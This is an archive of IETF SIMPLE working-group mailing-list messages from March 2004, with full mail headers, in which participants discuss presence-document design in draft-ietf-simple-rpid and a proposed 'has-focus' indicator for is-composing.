Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2E2GIfG026769
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Sat, 13 Mar 2004 21:16:18 -0500
Message-ID: <4053C06A.50708@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: hisham.khartabil@nokia.com, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com> <40451E20.7000801@dynamicsoft.com> <40453B49.3000901@cs.columbia.edu> <404E1A9F.6050907@dynamicsoft.com>
In-Reply-To: <404E1A9F.6050907@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 13 Mar 2004 21:16:10 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

> I think that would be a good clarification. As a general rule, many of 
> these things make sense in tuples of some types, but not others. 
> Wherever possible, we should make that clear.

Going through the elements, I couldn't find one that could be excluded 
for one of the contact-types. Clearly, some are more likely to be useful 
with some types than others, but given that devices can be in different 
locations and can have different sources of context information and that 
devices can be combined into services, it seems hard (and unnecessary) 
to rule out particular combinations.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Sat Mar 13 21:21:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11957
	for <simple-archive@odin.ietf.org>; Sat, 13 Mar 2004 21:21:11 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LF6-00058w-9K
	for simple-archive@odin.ietf.org; Sat, 13 Mar 2004 21:20:44 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2E2Kisa019764
	for simple-archive@odin.ietf.org; Sat, 13 Mar 2004 21:20:44 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LF6-00058h-5H
	for simple-web-archive@optimus.ietf.org; Sat, 13 Mar 2004 21:20:44 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11946
	for <simple-web-archive@ietf.org>; Sat, 13 Mar 2004 21:20:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LF3-0004pQ-00
	for simple-web-archive@ietf.org; Sat, 13 Mar 2004 21:20:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LED-0004l7-00
	for simple-web-archive@ietf.org; Sat, 13 Mar 2004 21:19:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LDT-0004g9-00; Sat, 13 Mar 2004 21:19:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LDQ-000520-KI; Sat, 13 Mar 2004 21:19:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LD4-00051E-Bu
	for simple@optimus.ietf.org; Sat, 13 Mar 2004 21:18:38 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA11844
	for <simple@ietf.org>; Sat, 13 Mar 2004 21:18:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LD1-0004dR-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:18:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LC7-0004Yv-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:17:39 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LBA-0004UN-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:16:40 -0500
Received: from bear.cs.columbia.edu (IDENT:aN1jmlQs0KtGVRzasaVb8DnCWDmKADys@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2E2GJNC015470
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Sat, 13 Mar 2004 21:16:19 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2E2GIfG026769
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Sat, 13 Mar 2004 21:16:18 -0500
Message-ID: <4053C06A.50708@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: hisham.khartabil@nokia.com, pkyzivat@cisco.com, simple@ietf.org
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <2038BCC78B1AD641891A0D1AE133DBB701797812@esebe019.ntc.nokia.com> <40451E20.7000801@dynamicsoft.com> <40453B49.3000901@cs.columbia.edu> <404E1A9F.6050907@dynamicsoft.com>
In-Reply-To: <404E1A9F.6050907@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 13 Mar 2004 21:16:10 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

> I think that would be a good clarification. As a general rule, many of 
> these things make sense in tuples of some types, but not others. 
> Wherever possible, we should make that clear.

Going through the elements, I couldn't find one that could be excluded 
for one of the contact-types. Clearly, some are more likely to be useful 
with some types than others, but given that devices can be in different 
locations and can have different sources of context information and that 
devices can be combined into services, it seems hard (and unnecessary) 
to rule out particular combinations.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Sat Mar 13 21:25:43 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12112
	for <simple-archive@ietf.org>; Sat, 13 Mar 2004 21:25:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LJv-0005E0-00
	for simple-archive@ietf.org; Sat, 13 Mar 2004 21:25:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LJ5-00058w-00
	for simple-archive@ietf.org; Sat, 13 Mar 2004 21:24:51 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LIM-00053l-00; Sat, 13 Mar 2004 21:24:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LIH-0005EQ-0N; Sat, 13 Mar 2004 21:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LI1-0005Di-3s
	for simple@optimus.ietf.org; Sat, 13 Mar 2004 21:23:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12024
	for <simple@ietf.org>; Sat, 13 Mar 2004 21:23:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LHy-00051x-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:23:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LGy-0004xV-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:22:40 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LG4-0004to-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:21:44 -0500
Received: from bear.cs.columbia.edu (IDENT:WYW0Swu6escH8blayUGuTPkt9VzXGsFf@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2E2LiNC015884
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Sat, 13 Mar 2004 21:21:45 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2E2LifG027173
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Sat, 13 Mar 2004 21:21:44 -0500
Message-ID: <4053C1AF.3000006@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <404880BC.7020906@cs.columbia.edu> <404E15AD.9040809@dynamicsoft.com>
In-Reply-To: <404E15AD.9040809@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 13 Mar 2004 21:21:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

>> As a side note, maybe the usefulness in timed-status is a good 
>> indication that something really extends <tuple> not <status>.
> 
> 
> Why? If status and timed-status are "peers", then if something is valid 
> in timed-status, it should also be useful in status, as a general rule, no?

I meant the converse: if something doesn't make sense having a time 
period associated with it (e.g., relationship), it should probably be in 
<tuple>, not <status>. <idle> seems doubtful, as you pointed out.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Sat Mar 13 21:26:14 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12146
	for <simple-archive@odin.ietf.org>; Sat, 13 Mar 2004 21:26:14 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LJz-0005NK-As
	for simple-archive@odin.ietf.org; Sat, 13 Mar 2004 21:25:47 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2E2PlMv020656
	for simple-archive@odin.ietf.org; Sat, 13 Mar 2004 21:25:47 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LJz-0005N5-7b
	for simple-web-archive@optimus.ietf.org; Sat, 13 Mar 2004 21:25:47 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12130
	for <simple-web-archive@ietf.org>; Sat, 13 Mar 2004 21:25:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LJw-0005E5-00
	for simple-web-archive@ietf.org; Sat, 13 Mar 2004 21:25:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LJ5-000593-00
	for simple-web-archive@ietf.org; Sat, 13 Mar 2004 21:24:52 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LIM-00053l-00; Sat, 13 Mar 2004 21:24:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LIH-0005EQ-0N; Sat, 13 Mar 2004 21:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2LI1-0005Di-3s
	for simple@optimus.ietf.org; Sat, 13 Mar 2004 21:23:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12024
	for <simple@ietf.org>; Sat, 13 Mar 2004 21:23:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LHy-00051x-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:23:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2LGy-0004xV-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:22:40 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2LG4-0004to-00
	for simple@ietf.org; Sat, 13 Mar 2004 21:21:44 -0500
Received: from bear.cs.columbia.edu (IDENT:WYW0Swu6escH8blayUGuTPkt9VzXGsFf@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2E2LiNC015884
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Sat, 13 Mar 2004 21:21:45 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2E2LifG027173
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Sat, 13 Mar 2004 21:21:44 -0500
Message-ID: <4053C1AF.3000006@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <4041D501.6040906@dynamicsoft.com> <404880BC.7020906@cs.columbia.edu> <404E15AD.9040809@dynamicsoft.com>
In-Reply-To: <404E15AD.9040809@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 13 Mar 2004 21:21:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

>> As a side note, maybe the usefulness in timed-status is a good 
>> indication that something really extends <tuple> not <status>.
> 
> 
> Why? If status and timed-status are "peers", then if something is valid 
> in timed-status, it should also be useful in status, as a general rule, no?

I meant the converse: if something doesn't make sense having a time 
period associated with it (e.g., relationship), it should probably be in 
<tuple>, not <status>. <idle> seems doubtful, as you pointed out.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 15 10:45:06 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04253
	for <simple-archive@ietf.org>; Mon, 15 Mar 2004 10:45:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uH6-0001RA-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 10:45:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uG1-0001EV-00
	for simple-archive@ietf.org; Mon, 15 Mar 2004 10:44:02 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uF4-00016v-00; Mon, 15 Mar 2004 10:43:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uF2-0006kK-Cr; Mon, 15 Mar 2004 10:43:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uEz-0006jt-PN
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 10:42:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04166
	for <simple@ietf.org>; Mon, 15 Mar 2004 10:42:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uEw-00015x-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:42:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uE1-00010B-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:41:57 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uDE-0000oD-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:41:08 -0500
Received: from softarmor.com (206-176-144-210.waymark.net [206.176.144.210] (may be forged))
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2FFfnZg004982
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 15 Mar 2004 09:41:51 -0600
Message-ID: <4055CE57.6030308@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu>
In-Reply-To: <404C511B.7050506@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 09:40:07 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Henning Schulzrinne wrote:
> The AT&T Hubbubb IM/presence client (http://www.hubbubme.com/) has an 
> interesting feature that fits nicely into the is-composing draft: a 
> 'has-focus' indication that shows if the IM application has the user's 
> window focus, i.e., the user is paying attention to what's being sent 
> from the other side or is likely to respond soon. Any opinions of 
> including this as an optional state, i.e., a user MUST be able to choose 
> whether this gets sent and it MUST be off by default?

I know in more "interactive" environments, asking the  question "Are you 
looking at me?" often presages more vigorous discussions. Indeed, it is 
often followed by the question "Do we have a problem here?", or an 
assertion that the addressed should "Look at me when I talk to you, mister!"

I think we're approximating (or at least attempting to approximate) an 
analog of "eye-contact" here -- the sort of thing that cues us into 
whether or not the party which wich we are attempting to communicate is 
also attempting to communicate with us, or has perhaps buried our 
communication attempt beneath a stack of other distractions.

So, what's the use case? Is window-focus an adequate determinate? Is 
further information, such as "window is visble" needed?

--
Dean

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 15 10:45:39 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04351
	for <simple-archive@odin.ietf.org>; Mon, 15 Mar 2004 10:45:39 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uHA-0006wy-NO
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 10:45:12 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2FFjCh7026710
	for simple-archive@odin.ietf.org; Mon, 15 Mar 2004 10:45:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uH9-0006wj-Sq
	for simple-web-archive@optimus.ietf.org; Mon, 15 Mar 2004 10:45:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04266
	for <simple-web-archive@ietf.org>; Mon, 15 Mar 2004 10:45:07 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uH6-0001RI-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 10:45:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uG2-0001Ee-00
	for simple-web-archive@ietf.org; Mon, 15 Mar 2004 10:44:03 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uF4-00016v-00; Mon, 15 Mar 2004 10:43:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uF2-0006kK-Cr; Mon, 15 Mar 2004 10:43:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B2uEz-0006jt-PN
	for simple@optimus.ietf.org; Mon, 15 Mar 2004 10:42:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04166
	for <simple@ietf.org>; Mon, 15 Mar 2004 10:42:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uEw-00015x-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:42:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B2uE1-00010B-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:41:57 -0500
Received: from bdsl.66.12.12.130.gte.net ([66.12.12.130] helo=bdsl.greycouncil.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B2uDE-0000oD-00
	for simple@ietf.org; Mon, 15 Mar 2004 10:41:08 -0500
Received: from softarmor.com (206-176-144-210.waymark.net [206.176.144.210] (may be forged))
	(authenticated bits=0)
	by bdsl.greycouncil.com (8.12.8/8.12.8) with ESMTP id i2FFfnZg004982
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 15 Mar 2004 09:41:51 -0600
Message-ID: <4055CE57.6030308@softarmor.com>
From: Dean Willis <dean.willis@softarmor.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] is-composing: has-focus?
References: <404C511B.7050506@cs.columbia.edu>
In-Reply-To: <404C511B.7050506@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 15 Mar 2004 09:40:07 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Henning Schulzrinne wrote:
> The AT&T Hubbubb IM/presence client (http://www.hubbubme.com/) has an 
> interesting feature that fits nicely into the is-composing draft: a 
> 'has-focus' indication that shows if the IM application has the user's 
> window focus, i.e., the user is paying attention to what's being sent 
> from the other side or is likely to respond soon. Any opinions of 
> including this as an optional state, i.e., a user MUST be able to choose 
> whether this gets sent and it MUST be off by default?

I know in more "interactive" environments, asking the  question "Are you 
looking at me?" often presages more vigorous discussions. Indeed, it is 
often followed by the question "Do we have a problem here?", or an 
assertion that the addressed should "Look at me when I talk to you, mister!"

I think we're approximating (or at least attempting to approximate) an 
analog of "eye-contact" here -- the sort of thing that cues us into 
whether or not the party which wich we are attempting to communicate is 
also attempting to communicate with us, or has perhaps buried our 
communication attempt beneath a stack of other distractions.

So, what's the use case? Is window-focus an adequate determinate? Is 
further information, such as "window is visble" needed?

--
Dean

_______________________________________________
Simple mailing list
